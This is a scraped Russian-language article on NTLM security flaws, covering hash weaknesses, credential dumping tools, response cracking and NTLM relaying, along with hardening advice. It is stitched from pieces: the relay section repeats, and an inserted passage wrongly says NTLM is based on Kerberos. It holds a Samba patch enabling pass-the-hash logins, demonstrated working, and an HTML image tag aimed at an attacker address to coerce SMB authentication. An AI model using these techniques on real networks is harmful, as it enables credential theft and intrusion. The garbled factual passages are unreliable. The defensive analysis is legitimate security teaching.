Атаки NTLM-релеинга

Протокол NTLM был специально разработан для того, чтобы обеспечить прозрачный доступ пользователей к ресурсам без лишних вопросов и при этом не зависеть от прикладных и сетевых протоколов. Клиентское приложение, поддерживающее NTLM, просто передает генерируемые подсистемой безопасности данные аутентификации (блобы) серверному приложению. При этом нет никакой привязки данных аутентификации к сетевому протоколу, т.е. таким параметрам, как, например, IP адрес и порт. Это позволяет NTLM-аутентификации проходить через прокси сервер или маршрутизатор с трансляцией адресов, но это, также, позволяет и атаки NTLM релеинга, когда атакующий, не имеющий прямого доступа к сетевым данным между клиентом и сервером может, однако, перехватывать все передаваемые данные. Единственное необходимое для этого условия (кроме связи с клиентом и сервером на сетевом уровне, разумеется) это возможность инициировать подключение клиента по протоколу поддерживающему прозрачную NTLM-аутентификацию. Таким образом не имея непосредственного доступа к каналу связи, можно организовать ситуацию человека-по-средине (man-in-the-middle).

Итак: атакующий провоцирует клиента на подключение к себе по протоколу, позволяющему NTLM аутентификацию. После чего атакующий подключается к серверу так же по любому протоколу позволяющему NTLM аутентификацию. Это не обязательно должен быть тот же протокол, который использует клиент, т.к. данные аутентификации никак не привязаны к прикладному протоколу и сетевым параметрам. Например, клиент может подключиться к атакующему с использованием файлового протокола CIFS (SMB), а атакующий к серверу – по протоколу telnet. После чего данные аутентификации (блобы) передаются атакующим между клиентом и сервером. По окончании аутентификации клиент считает, что он успешно авторизован сервером, сервер считает, что он авторизовал клиента, а атакующий имеет два авторизованных канала – он выступает от имени сервера для клиента и от имени клиента для сервера.

Спасает ли, хотя бы в какой-то степени, использование NTLMv2 от атак NTLM-релеинга? К сожалению, нет. Поскольку атакующий не применяет криптоанализ, то криптостойкость алгоритма влияния не оказывает. Не оказывает влияния и наличие взаимной аутентификации клиента и сервера. Атакующий пробрасывает все данные аутентификации между ними, поэтому лишний пакет – ответ сервера на запрос клиента – туда так же попадает.

Для некоторых протоколов Microsoft советуют применять подпись пакетов, например, SMB signing для CIFS/SMB. К сожалению, подпись SMB спасает лишь в единственной ситуации – она затрудняет подключение к серверу CIFS требующему подпись. Это делает невозможным использование межпротокольного релеинга NTLM для подключения к серверу CIFS. В случае релеинга от CIFS клиента к CIFS серверу у атакующего остается доступ ко всем проходящим данным. Клиент и сервер подписывают данные, но опять эта подпись не привязана к сетевому протоколу, атакующий просто пересылает данные в неизменном виде. Это не дает атакующему возможность вмешаться в передаваемые данные (например, запросить свой файл непосредственно у сервера), однако, если атакующий получил возможность управлять поведением клиента – он может заставить клиента запросить требуемый файл.

На текущий момент существует много способов управлять поведением клиентского приложения. Например, направив пользователя на HTML страницу, содержащую так <IMG SRC=”\A.B.C.DSECRETSHARElargesecret.doc”>, где A.B.C.D – адрес атакующего, можно заставить клиента подключиться к сетевой папке SECRETSHARE атакующего по протоколу CIFS и запросить файл largesecret.doc. Атакующий может перенаправить этот запрос на сервер от имени клиента. При этом все запросы будут подписаны клиентам в случае использования SMB signing.

Атаки NTLM релеинга обсуждались разными авторами. DilDog в 2000м году, в связи с проблемой NTLM авторизации в telnet (Internet Explorer к тому времени уже имел опцию не выполнять прозрачную NTLM-авторизацию в Internet-зоне). 3APA3A в 2001 в связи с SPA авторизацией Outlook Express. Salman Niksefat и Haamed Gheibi в 2003м продемонстрировали практическую реализацию NTLM релеинга из CIFS в CIFS для случая, когда клиент и сервер это одна и та же машина.

Как защищаться от атак NTLM

Основное средство от различных атак перехвата – это, разумеется, шифрование трафика между хостами. Можно найти достаточное количество руководств по внедрению шифрования трафика с помощью политик безопасности IP.

Чтобы предотвратить атаки NTLM релеинга с помощью протокола CIFS, следует ограничить использование этого протокола. Во-первых подключения по протоколам NetBIOS (TCP/139) и CIFS over TCP (TCP/445) не должны пропускаться не только из внешней сети во внутрь, но и из внутренней сети наружу. По многим причинам, включая и эту, доступ к ресурсам Internet для пользователей следует организовывать не при помощи трансляции адресов, а с помощью прокси-сервера. Атака NTLM релеинга с помощью CIFS может быть использована и во внутренней сети, с целью повышения привилегий. Чтобы этого недопустить, следует ограничить связь на сетевом уровне между клиентскими компьютерами. В идеальном случае у клиентов должна быть связь только с теми серверами, к которым они должны подключаться. В сетях Windows 2000/XP/2003 такая структура сети легко реализуется за счет применения доменных политик безопасности IP.

Для этого создается правило, позволяющее блокировать пакеты:

Создается описание серверной сети

Создается политика разрешающая серверный трафик и запрещающая весь остальной:

Теперь данное правило можно применить к локальному компьютеру либо ко всем клиентским компьютерам с помощью политик Active Directory.

Устранив возможности NTLM атак в CIFS, мы не устраним атаки полностью. Существует большое количество протоколов поддерживающих NTLM аутентификацию, а развитие различных сервисов, в т.ч. и RPC, поверх HTML делает фильтрацию NTLM-аутентификации наружу еще более затруднительной.

Подсказка: в качестве решения можно посоветовать не позволять доступ к сервисам, доступным снаружи с учетными записями используемыми во внутренней сети. Для внешних ресурсов лучше использовать авторизацию на основе сертификатов, во внутренней сети – двухфакторную авторизацию.

Заключение

Я надеюсь, что статья поможет вам учесть особенности протокола NTLM при построении архитектуры и схемы защиты вашей сети или просто понять, что он из себя представляет. C удовольствием приму любые поправки, дополнения и просто комментарии на адрес 3APA3A@security.nnov.ru.

На чтение 3 мин Опубликовано Обновлено

Windows NT Challenge Response (ответ на вызов) — это метод авторизации и защиты информации, используемый в операционной системе Windows NT (и ее последующих версиях) для обеспечения безопасного доступа к ресурсам.

Этот метод основан на протоколе авторизации Керберос, который использует криптографические ключи для обмена информацией между сервером и клиентом. Он предлагает более надежную, безопасную и гибкую систему аутентификации, чем более ранние методы, такие как парольная авторизация.

Суть Windows NT Challenge Response заключается в том, что сервер генерирует вызов (challenge), к которому клиент должен ответить правильным кодом (response), подтверждая свою подлинность. При этом сервер не передает клиенту исходную информацию, на основе которой генерируется вызов, что делает процесс более безопасным.

Windows NT Challenge Response обеспечивает защиту от атак, связанных с перехватом и подверженностью передаваемой информации, таких как вставная атака, подмена данных и повторное использование вызовов. Это позволяет гарантировать подлинность и целостность данных, а также предотвращает несанкционированный доступ к системе и ресурсам.

Основные понятия

Челлендж (Challenge) – это случайное значение, генерируемое сервером и отправляемое пользователю для аутентификации. Это значение уникально для каждого входа и обычно используется только один раз.

Отклик (Response) – это значение, созданное пользователем на основе челленджа и своих учетных данных. Отклик передается обратно на сервер для проверки и подтверждения личности пользователя.

История развития

Windows NT Challenge Response (NTLM) был разработан компанией Microsoft в начале 90-х годов как протокол аутентификации пользователя на уровне сетевого протокола. Этот протокол стал заменой устаревшего LM Hash, который был частью предыдущих версий операционных систем Microsoft.

NTLM был впервые представлен в Windows NT 3.1 и стал стандартным протоколом для аутентификации в сети Windows. По мере развития операционной системы, Microsoft продолжала улучшать и совершенствовать NTLM, добавляя новые функции и улучшая безопасность.

Однако с течением времени NTLM стал устаревать и стал подвержен атакам, связанным с различными уязвимостями. Чтобы решить эти проблемы и повысить безопасность, компания Microsoft выпустила новый протокол аутентификации Kerberos вместе с выпуском Windows 2000.

Kerberos был разработан Массачусетским технологическим институтом (MIT) и предлагал более безопасный и надежный метод аутентификации. Он был внедрен в Windows NT с целью замены NTLM, но NTLM все равно оставался поддерживаемым для обратной совместимости.

На данный момент NTLM считается устаревшим и не рекомендуется для использования в новых системах. Он был заменен более безопасными методами, такими как Kerberos и стандарт аутентификации с помощью пароля (NTLMv2), которые использовались в более поздних версиях операционных систем Microsoft.

То, что в последние годы проблемы безопасности протокола NTLM обсуждаются реже, чем раньше, выходят новые версии Microsoft Windows и внедряются новые протоколы аутентификации, не означает что проблемы исчезли. Эта статья — попытка собрать в одном месте информацию о различных недостатках NTLM, возможных атаках и о том, как следует учитывать архитектуру NTLM при проектировании и администрировании корпоративных сетей.


Призы для победителей конкурса предоставил компьютерный интернет магазин
Автор: ЗАРАЗА

Введение

Когда, полтора десятка лет назад, компания Microsoft начала серьезную работу над созданием централизованных сетей масштабов предприятия при работе над операционной системой Windows NT, перед разработчиками была поставлена весьма сложная, и новая по тем временам задача – реализовать технологии single sign-on, и One user – one password.

One user – one password (один пользователь – один пароль) означает, что у пользователя должен быть только один пароль. Единый пароль используется для доступа ко всем ресурсам и протоколам сети. Single sign-on (единый вход) подразумевает, что этот пароль указывается всего один раз – при входе пользователя в сеть.

Можно много спорить о преимуществах и недостатках такого подхода, но бесспорно одно – этот подход удобен как для пользователей, так и для разработчиков приложений. Пользователь избавлен от необходимости помнить много паролей и вводить их, а разработчику не надо задумываться над тем, как организовать аутентификацию пользователя.

Для этого необходимо было разработать такую схему аутентификации, которая позволила бы любому сетевому приложению передавать данные аутентификации независимо от сетевого протокола. Так родился NTLM и NTLMSSP (NTLM Security Service Provider) – подсистема позволяющая любому клиент-серверному приложению использовать NTLM ничего не зная о его внутренней структуре.

Нельзя сказать, чтобы Microsoft проигнорировал требования безопасности для протокола аутентификации. В общем-то, на тот момент протокол NTLM не был слабее многих уже использовавшихся протоколов, и в чем-то даже лучше. Но сейчас можно с уверенностью сказать, что вместе с протоколом NTLM появилось большое количество проблем связанных с его безопасностью. Часть проблем вызвана тем, что Microsoft должен был сохранить совместимость с существующими сетями LanManager для MS-DOS и Windows for Workgroups. Другие являются ошибками дизайна и объясняются новизной решаемой проблемы. Третьи являются исключительно криптографическими, т.к. тогда производители ПО редко имели в штате профессиональных криптоаналитиков.

Проблемы протокола NTLM широко дискутировались начиная с 1995 года и обсуждаются до сих пор. Существует ошибочное мнение, что протокол аутентификации Kerberos v5, используемый в сетях Windows 2000 и Windows 2003, полностью снимает проблему NTLM. Это не так, т.к. поддержка NTLM в существующих сетях Windows является обязательной и любая из сторон, принимающих участие в процессе аутентификации, может инициировать использование этого протокола. По этой причине многие проблемы протокола NTLM остаются актуальными в современных сетях Windows и должны учитываться не только в процессе администрирования сети, но и на этапе ее проектирования.

Я попытался собрать в одном месте информацию, мысли, идеи и проблемы, родившиеся в результате почти десятилетней дискуссии в открытых списках рассылки, а так же личной переписки со многими людьми, которым мне хотелось бы выразить признательность за их помощь, ответы на вопросы и терпение – Urity (urity at securityfriday.com), Jesper Johansson (jesperjo at microsoft.com), Solar Designer (solar at openwall.com), offtopic (offtopic at mail.ru) Glenn Zorn (gzorn at cisco.com) и многим другим. Так же использовались материалы из постингов Todd Sabin, Luke Kenneth Casson Leighton и Salman Niksefat. Из-за природной лени и отсутствия точных названий и постоянных URL для большинства использованных постингов я не буду делать список литературы в конце статей, пусть это сделает Google.

Мы не будем углубляться в технические детали более, чем это необходимо для понимания проблемы, тем не менее, иногда от читателя потребуются некоторые минимальные представления о процессах аутентификации и авторизации, программировании и криптографии. Чтобы облегчить жизнь читателю, в статье будут встречаться вставки «общеобразовательного» характера.

Процесс аутентификации клиент-серверных приложений в сетях Microsoft

Что происходит после нажатия на Ctrl+Alt+Del? Появляется запрос локальной подсистемы безопасности (Local Security Authority, LSA) на ввод имени пользователя и пароля. После ввода пароль хэшируется (криптографический хэш – одностороннее преобразование делающее невозможным, или по крайней мере сложным восстановление по нему оригинального пароля) и хэш помещается в хранилище LSA. В открытом виде он больше уже нигде не фигурирует (в старых версиях Windows пароль мог храниться в открытом виде или с обратимым шифрованием, т.к. старые версии LanManager использовали аутентификацию в открытом тексте, но не будем вспоминать эти времена). Кроме того, к хранилищу LSA нельзя обратиться напрямую стандартными методами. В хранилище хэши находятся до окончания сеанса работы (а иногда и после, это будет рассмотрено далее).

Протокол NTLM относится к семейству challenge-response (запрос-ответ) протоколов. Это означает, что ни пароль ни его хэш никогда не передаются «как есть», вместо этого они используются для генерации ответа (response) на случайный запрос (challenge). Аутентифицирующая сторона сравнивает полученный ответ с вычисленным локально. Генерация и проверка запроса и ответа осуществляется не приложениями, а провайдером NTLMSSP. Данные аутентификации, генерируемые NTLMSSP через специальные функции API (InitializeSecurityContext()/AcceptSecurityContext()) могут быть включены в любой протокол прикладного уровня, упаковка этих данных (называемых security blob – «начинка безопасности») это все, что требуется от приложений с точки зрения NTLMSSP. После успешной проверки подсистема безопасности генерирует токен, который может быть использован серверным приложением с правами локальной системы для имперсонирования пользователя, т.е. при подключении пользователя к серверному приложению серверное приложение может работать от его имени. В таком случае пользователь совершает вход на удаленную систему. Возникает вопрос – а может ли серверное приложение обратиться к другим сетевым ресурсам с использованием NTLM, не запрашивая дополнительной аутентификации? Если в хранилище LSA удаленного компьютера нет хэшей пароля пользователя – то это невозможно. Отсюда, например, невозможность «прозрачного» доступа к сетевому диску из telnet-сеанса или через Web-сервер если доступ через telnet или к Web происходит с NTLM аутентификацией.

Теоретически все получается замечательно и абсолютно безопасно. Даже запустив приложение с правами пользователя, все равно не возможно получить его пароль или даже хэш. И даже перехватив сеанс и подменив сервер, не получится получить доступ к другим сетевым ресурсам.

Давайте посмотрим на все это с точки зрения реализации.

Хэши NTLM

В семействе протоколов NTLM (как мы увидим далее, NTLM-подобных протоколов несколько) могут использоваться 2 типа хэшей: LM (LanManager) хэш, унаследованный от предыдущих реализаций LanManager и NT (New Technology) хэш, созданный для протокола NTLM. Соответственно, при входе пользователя в систему, как правило, от пароля берутся и хранятся оба этих хэша. Первая версия протокола NTLM для совместимости поддерживала оба ключа (NT или LM ключем обычно называют соответствующий хэш пароля). В более поздних реализациях используется только NT ключ, однако по-умолчанию LM хэш все равно создается при входе и помещается в хранилище LSA. Давайте рассмотрим оба алгоритма хэширования.

LM ключ получается из пароля в 8-битной OEM кодировке (cp866 для России) с помощью алгоритма DES.

Для справки: DES является симметричным блочным шифром, использующим 56 битный ключ для шифрования 64 битного блока текста. Реально, внутри алгоритма используется 64 битный ключ, однако длина ключа искусственно занижена по непонятным соображениям – 56 битный ключ «растягивается» за счет вставки дополнительного бита через каждые 7 бит ключа. Поскольку DES обладает относительной стойкостью к атакам известного открытого текста, он может быть использован в качестве криптографической хэш функции, если в качестве открытого текста использовании какой-либо известный текст, а в качестве ключа – хэшируемое слово. Известный текст может быть либо случайным (в таком случае он называется salt – соль, и хранится в месте с паролем), либо предопределенным, в таком случае он называется Magic Word – заклинание. В классической реализации crypt() в Unix использовался первый подход, в Windows используется магическое слово KGS!@#$% (посмотрите на клавиатуру…. Наверное, это был чей-то пароль). При использовании в качестве хэш функции DES генерирует 64 битный хэш по 56 битному тексту.

Поскольку DES позволяет получить хэш лишь от 7-символьного блока, то реально используется пароль из 14 символов (более короткий пароль дополняется нулями), который разбивается на два блока по 7 символов, от каждого из которых независимо вычисляется хэш. В итоге получается 128-битный хэш «склееный» из двух частей.

Недостатки алгоритма очевидны. Независимое вычисление двух блоков позволяет и их независимый взлом, т.е. реально каждый 64 бита хэша можно атаковать с целью восстановления пароля. Причем для генерации LM ключа пароль не чувствителен к регистру символов и символы всегда используются в верхнем реестре. Это делает очень эффективной атаку на восстановление пароля методом последовательного перебора (не более 7 символов из очень ограниченного алфавита). Причем длинный пароль может быть легче восстановить чем более короткий. Например, для пароля из 12 символов, сначала за считанные секунды подбираются последние 5 символов, после чего делается предположение о структуре пароля и первые 7 символов пароля подбираются по более ограниченному алфавиту. В настоящее время известны очень быстрые реализации DES с использованием 64-битной арифметики, что делает его абсолютно непригодным для криптографии. В общем случае, восстановление пароля по LM хэшу на современной технике вопрос не более чем нескольких дней. Кроме того, фиксированное магическое слово позволяет использование таблицы заранее посчитанных значений ключей, что делает возможным восстановление пароля по LM хэшу в реальном времени.

NT ключ вычисляется с помощью стандартного алгоритма хэширования MD4. Хэш MD4 берется от пароля записанного в 16-битной кодировке Unicode с последовательностью байт low endian (т.е. первым байтом идет номер символа в странице). Пароль вычисляется с учетом регистра. MD4 имеет несколько криптографических проблем, самой большой из них является маленькое время вычисления хэша, что позволяет перебирать достаточно большое количество комбинаций в единицу времени упрощая, например, атаку по словарю или подбор слабой комбинации символов.

Подсказка: существует большое количество программ для восстановления пароля из NT или LM ключа путем подбора по словарю или перебора – John-the-Ripper, LophtCrack, Cain & Abel. При наличии обоих ключей, обычно сначала восстанавливается пароль в верхнем регистре из LM-ключа, затем по NT-ключу восстанавливается регистр пароля. Такой подход, в частности, реализован в Cain & Abel (http://www.oxid.it), являющейся на сегодня наиболее мощным и универсальным инструментом для выполнения различных задач связанных с обнаружением слабых конфигураций, в т.ч. и многих проблем NTLM. Мы еще неоднократно будем возвращаться к возможностям этой утилиты. Самая быстрая реализация алгоритма DES ориентированная на взлом LM-ключей в Solar Designer’овском John-the-Ripper.

Совет: Можно запретить генерацию LM-ключей в системе путем установки в 1 значения NoLmHash в разделе реестра HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa

Несмотря на то, что будет описано ниже, сделать это настоятельно рекомендуется, хотя бы для очистки совести.

Кому нужен сломанный ключ?

Как мы уже говорили, NT и LM ключи (хэши) генерируются из пароля при входе пользователя в систему, после чего пароль нигде не хранится и никогда не используется. Возникает закономерный вопрос: если у нас есть на руках NT и LM хэши можем ли мы использовать их, например, для аутентификации по сети без восстановления пароля в открытом тексте? Очевидно, да. Начнем с простого случая открытых кодов. Попробуем модифицировать smbclient из состава SAMBA таким образом, чтобы подключаться к удаленному файловому серверу с исопльзованием NT хэша (как мы знаем, из NT хэша восстановить пароль гораздо сложнее). Было бы достаточно сложно перелопатить полтора десятка мегабайт исходников SAMBA, если бы мы не знали точно, что NT ключ это MD4 хэш. Нам будет достаточно только модифицировать библиотеку md4.c таким образом, чтобы не хэшировать что-то, что уже похоже на хэш. Например то, что состоит из 32х 16-ричных символов (как мы помним, ключ 128-битный, а пароль приходит в кодировке Unicode, т.е. каждый входящий символ занимает 2 байта, получается 64 байта на входе и 16 на выходе).

— md4.c.orig 2004-04-04 11:37:00.000000000 +0400

+++ md4.c 2004-10-27 23:01:31.000000000 +0400

@@ -130,6 +130,21 @@

C = 0x98badcfe;

D = 0x10325476;

+

+ if(n == 64){

+ int j;

+ unsigned char * hexd = (unsigned char *)»0123456789ABCDEF»;

+ for(j = 0; j<16; j++){

+ if(!strchr(hexd, in[(j<<2)]))break;

+ if(in[(j<<2)+1])break;

+ if(!strchr(hexd, in[(j<<2)+2]))break;

+ if(in[(j<<2)+3])break;

+ out[j] = ((strchr(hexd, in[(j<<2)]) — (char *)hexd)<<4);

+ out[j] ^= (strchr(hexd, in[(j<<2)+2]) — (char *)hexd);

+ }

+ if(j == 16) return;

+ }

+

while (n > 64) {

copy64(M, in);

mdfour64(M);

Проверим:

bash$ smbclient //WIN2KSRV/shared

added interface ip=192.168.1.1 bcast=192.168.1.255 nmask=255.255.255.0

Got a positive name query response from 192.168.1.2 ( 192.168.1.2 )

Password: (entering 8846F7EAEE8FB117AD06BDD830B7586C)

Domain=[WIN2KDOMAIN] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]

smb: >

Получилось.

Наверное, у самых вредных возникает вопрос, можно ли проделать подобный трюк используя сам Windows в качестве клиента? Можно попробовать найти реализацию MD4 используемую для получения хэша при входе пользователя и подменить ее (модификацией двоичного кода или за счет подмены функции одним из многочисленных способов). Быстрый поиск по системным файлам показывает, что в папке SYSTEM32 около 85 реализаций MD4 (видимо программистам платят по объему двоичного кода), есть и особо подозрительные, например в samlib.dll. Делались и попытки поменять ключи непосредственно в памяти или хранилище, например в статье Hernan Ochoa “Modifying Windows NT Logon Credentials”… Но, собственно, статья наша теоретическая и одного эксперимента для подтверждения теории вполне хватает. Урок, который должен быть извлечен – хэш пароля с точки зрения протокола NTLM абсолютно равнозначен самому паролю, возможность получения хэша означает возможность полного использования пароля.

Где что хранится

Не следует путать хранилище LSA с защищенным хранилищем (Protected Storage) и бaзой данных SAM (Security Account Manager database).

В Protected Storage могут храниться любые данные, помещенные туда приложением (имена и пароли удаленного доступа, электронной почты, аутентификации сайтов и данные для автозаполнения форм). Они могут быть извлечены оттуда в том же виде, в котором были туда положены по запросу приложения через стандартный API. Хэшей паролей пользователя там нет.

В базе данных SAM хранятся локальные учетные записи пользователей (на контроллере домена – доменные), включая пароли в виде NT и LM хэшей, что уже несколько интересней. Локальная база данных SAM является кустом системного реестра (т.е. частью реестра хранящейся в отдельном файле). Ранее, если на машине не использовалась утилита syskey, можно было извлечь хэши локальных паролей учетных записей непосредственно из файла или из реестра. Для извлечения хэшей из файла можно было использовать утилиту samdump Дмитрия Андрианова, для извлечения из реестра – pwdump (Jeremy Allison). Однако, утилита syskey шифрует хранящиеся хэши с помощью системного ключа используя алгоритм RC4. Ключ может храниться на дискете, которую необходимо вставлять при загрузке машины, либо на диске – закрытый паролем (его необходимо вводить при каждой загрузке машины) или в некой обратимой форме. Управлять хранением системного ключа можно с помощью утилиты syskey. Начиная с Windows 2000 syskey c хранением ключа в обратимой форме включен по-умолчанию, что затрудняет извлечение хэшей из SAM стандартным способом. То, что будет извлечено, на самом деле не является хэшем пароля. Pwdump2 (Todd Sabin) обходит защиту syskey считывая хэши паролей через внутренний API в контексте процесса winlogon используя технику DLL injection. Pwdump3 (Phil Staubs) использует ту же саму технику в сочетании с Service API для того, чтобы запустить процесс на удаленном компьютере. Для работы всех программ требуется либо физический доступ к компьютеру либо повышенные привилегии (для pwdump2 и pwdump3 – SeDebugPrivilege).

Похожие приемы использовались и для доступа к хранилищу LSA. Lsadump (PaulAshton) использовала недокументированный API LsaRetrievePrivateData() для получения данных из хранилища LSA и могла работать только из-под учетной записи локальной системы. В более поздних системах Microsoft сделал использование этой функции совсем невозможным. Lsadump2 (Todd Sabin) использует ту же технику DLL injection, что и pwdump2 для доступа к секретам LSA через внутренний API lsass и так же требует SeDebugPrivilege.

Наверное, следует так же упомянуть о cached logon credentials (кэшированных удостоверениях). По-умолчанию Windows хранит данные о последних 10 набранных именах пользователей и паролей. Основная цель – дать возможность доменному пользователю войти на компьютер даже в случае отсутствия связи с контроллером домена. Поскольку нет необходимости хранить непосредственно хэш пароля (он будет вычислен при входе пользователя в систему), хранится некое производное значение (MD4 от имени пользователя и NT-хэша). Т.е. восстановить хэш пароля сложно, но можно попытаться атаковать слабые пароли пользователя. CachedLogonCredentials так же хранятся либо в хранилище LSA либо в разделе реестра NL$. К сожалению единственное известное средство автоматического доступа к кэшированным паролем, hashpipe (Todd Sabin) на сегодня не является общедоступным.

Указанные инструменты больше не поддерживаются разработчиками. Они, и другие тестировавшие утилиты, включая Cain & Abel, так же не дают надежного результата в Windows XP SP2, т.к. Microsoft изменил алгоритм работы winlogon и lsass, однако, для Cain & Abel это, скорее всего, лишь вопрос времени.

Совет: управлять Cached Logon Credentials можно с помощью доменных политик либо при помощи ключа реестра CachedLogonCount в разделе HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon

Очень неприятно, если, например, в кэшированных удостоверениях останутся сведения о входе на компьютер администратора домена (это одна из причин управлять компьютером удаленно). Часто можно встретить рекомендацию устанавливать CachedLogonCount в 0, однако наиболее оптимальным представляется значение 1 – это позволяет в отсутствии сетевого подключения войти в систему последнему пользователю – т.е. тому, который обычно работает с компьютером .

Собственно NTLM

На сегодняшний момент существует две основных версии NTLM. Первая версия NT LanManager 0.12, часто называемая NTLM v1 и NTLM v2. Кроме того, существует несколько основанных на NTLM диалектов, например протокол аутентификации MS-CHAPv2 (MS-CHAP является NTLM 0.12 в чистом виде). Мы подробней остановимся на NTLM 0.12, т.к. нас будут интересовать его, так часто обсуждаемые, криптографические уязвимости.

Итак, NTLMSSP генерирует «кусочки» данных безопасности (security blob) которыми обмениваются клиентское и серверное приложение. Обмен происходит в несколько этапов, и для NTLM 0.12 выглядит следующим образом:

  1. Клиент посылает серверу запрос на аутентификацию.
  2. Сервер отвечает пакетом, в котором указывается выбранная NTLM аутентификация и поле EncryptionKey которого содержит 64-битный случайный запрос (challenge).
  3. Клиент посылает сообщение, содержащее поля AccountName (учетная запись), PrimaryDomain (домен учетной записи), CaseInsensitivePassword (пароль не чувствительный к регистру, фактически это LM-ответ) и CaseSensitivePassword (пароль чувствительный к реестру, фактически NT-ответ). Оба ответа являются 192-битными и вычисляются на основе NT и LM ключа по одному и тому же алгоритму. Если соответствующего ключа нет, то и соответствующий ответ будет нулевым.

Давайте проиллюстрируем алгоритм генерации ответа на примере NT-ключа 8846F7EAEE8FB117AD06BDD830B7586C (как мы помним, он 128-битный) с 64-битным запросом сервера 0123456789ABCDEF.

NT-ответ DD5428B01E86F4DFCABEAC394946DBD43EE88F794DD63255.

Сразу должно бросаться в глаза, что не так с этим алгоритмом – проблема та же, что и при вычислении LM-хэша, все три DES-блока вычисляются независимо. Это означает, что и восстанавливаться по известному запросу и ответу они так же могут независимо. Для современного PC время восстановление одного блока хэша пароля методом полного перебора составляет порядка нескольких недель и не зависит от сложности пароля.

В случае, если имеется LM-ответ – опять же возможна атака на восстановление второй половины пароля в открытом тексте, после чего первая часть даже полным перебором восстанавливается за несколько дней.

Из этого, в сочетании с тем, что имея хэш мы не нуждаемся в пароле в открытом тексте, следует однозначный вывод – NTLM 0.12 и MS-CHAP не должны использоваться для аутентификации в сетях, где возможен перехват трафика. Кроме того, если у внешнего недоверенного сервера есть возможно инициировать «прозрачный» вход пользователя, то он может использовать переданный ответ для восстановления ключа пользователя. Причем, за счет выбора «хорошего» запроса (например одни нули) взлом ключа может быть организован в реальном времени по заранее просчитанным таблицам.

Протокол аутентификации удаленного доступа MS-CHAPv2 является всего лишь расширением протокола MS-CHAP и, соответственно, NTLM 0.12. Изменения состоят в следующем: клиент так же генерирует случайный запрос для сервера, на который сервер должен ответить, т.е. аутентификация клиента и сервера является взаимной. Кроме того, запрос сервера попадает в алгоритм генерации ответа в измененном виде (сам алгоритм остается прежним) – берется SHA1 от запроса сервера, запроса клиента и имени пользователя. Это не влияет на сложность атаки на восстановление хэша т.к. SHA1 достаточно вычислить лишь один раз, а далее используется тот же алгоритм перебора. Единственным положительным моментом с точки зрения криптографии, является то, что в случае подмены сервера нельзя использовать заранее просчитанные таблицы для восстановления хэша путем выбора заранее известного запроса.

Из этого следует, что MS-CHAPv2, который часто используется для аутентификации, например, PPTP соединений, так же ни в коем случае не должен использоваться для аутентификации по недоверенным каналам связи. На сегодня, единственный более-менее стойкий протокол парольной аутентификации удаленного доступа это PEAP (Password EAP), который, к сожалению, слабо поддерживается, что делает практически невозможным использовать, например, PPTP туннели с шифрованием MPPE, даже с ключем шифрования большой длины, для построения VPN сетей, т.к. ключи шифрования MPPE генерируются на основе NT-ключа. Возможность восстановления NT ключа по данным аутентификации дает, к тому же, возможность восстановить передаваемые данные за весьма короткий срок вне зависимости от длины сеансового ключа.

В NTLMv2 так же используется взаимная аутентификация клиента и сервера, но для получения ответа используется гораздо более сильный алгоритм HMAC-MD5.

Для справки: HMAC-MD5 генерирует хэш на основе текста (text) и ключа (key) с использованием стандартного хэша MD5 по следующему алгоритму:

HMAC_MD5(text,key) = MD5 (key xor opad . MD5(key XOR ipad.text))

Где ‘.’ Означает конкатенацию, ipad = 0x36363636363636363636363636363636, ipad = 0x5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C

Ответ вычисляется следующим образом:

  1. Клиент генерирует ключ (NT2 ключ) используя HMAC_MD5 с NT-ключем в качестве ключа и именем пользователя конкатенированным с именем домена в Unicode в качестве текста.
  2. Клиент генерирует кусок данных (blob), в который входят случайные данные, временная метка, NetBIOS имя и т.д, всего порядка 64 байт, длина может варьироваться.
  3. blob конкатенируется с ответом сервера
  4. Вычисляется HMAC-MD5 c NT2 ключем полученном на первом шаге в качестве ключа и blob в качестве текста.
  5. результат (4) конкатенируется с blob (2). То, что получилось и есть ответ.

Такой алгоритм генерации ответа при использовании стойких паролей снимает практически все криптографические проблемы, что делает NTLMv2 вполне устойчивым к атакам пассивного прослушивания, тем не менее, разумеется, остается возможность подбора слабых паролей по словарю или полным перебором.

Подсказка: В Cain & Abel реализованы практически все рассмотренные атаки. Кроме того, встроенный снифер с возможностью arp poisoning позволяет перехватывать данные NTLM аутентификации даже в коммутируемых сетях и автоматически передавать все необходимые данные в подсистему криптографиеского анализа для различного типа криптографических атак.

Совет: Можно управлять разрешенными протоколами аутентификации и запретить протоколы аутентификации отличные от NTLMv2 с помощью реестра или доменных политик. За это отвечает ключ реестра LMCompatibilityLevel в разделе HKLMSystemCurrentControlSetControlLSA. Возможные значения слудющие:

  1. Посылать NT и LM ответы
  2. безопасность сеанса NTLM (не затрагивает аутентификацию)
  3. NTLM аутентификация. LM ответ не генерируется клиентом. На сервер не влияет.
  4. NTLMv2 аутентификация, клиент не использует NTLM 0.12
  5. NTLM требуется, сервер не принимает LM ответ
  6. NTLMv2 требуется, сервер не принимает NTLM 0.12 аутентификацию.

Как следует из названия, установка высокого LMCompatibilityLevel может повлиять на клиентов со старыми ОС.

Атаки NTLM-релеинга

Протокол NTLM был специально разработан для того, чтобы обеспечить прозрачный доступ пользователей к ресурсам без лишних вопросов и при этом не зависеть от прикладных и сетевых протоколов. Клиентское приложение, поддерживающее NTLM, просто передает генерируемые подсистемой безопасности данные аутентификации (блобы) серверному приложению. При этом нет никакой привязки данных аутентификации к сетевому протоколу, т.е. таким параметрам, как, например, IP адрес и порт. Это позволяет NTLM-аутентификации проходить через прокси сервер или маршрутизатор с трансляцией адресов, но это, также, позволяет и атаки NTLM релеинга, когда атакующий, не имеющий прямого доступа к сетевым данным между клиентом и сервером может, однако, перехватывать все передаваемые данные. Единственное необходимое для этого условия (кроме связи с клиентом и сервером на сетевом уровне, разумеется) это возможность инициировать подключение клиента по протоколу поддерживающему прозрачную NTLM-аутентификацию. Таким образом не имея непосредственного доступа к каналу связи, можно организовать ситуацию человека-по-средине (man-in-the-middle).

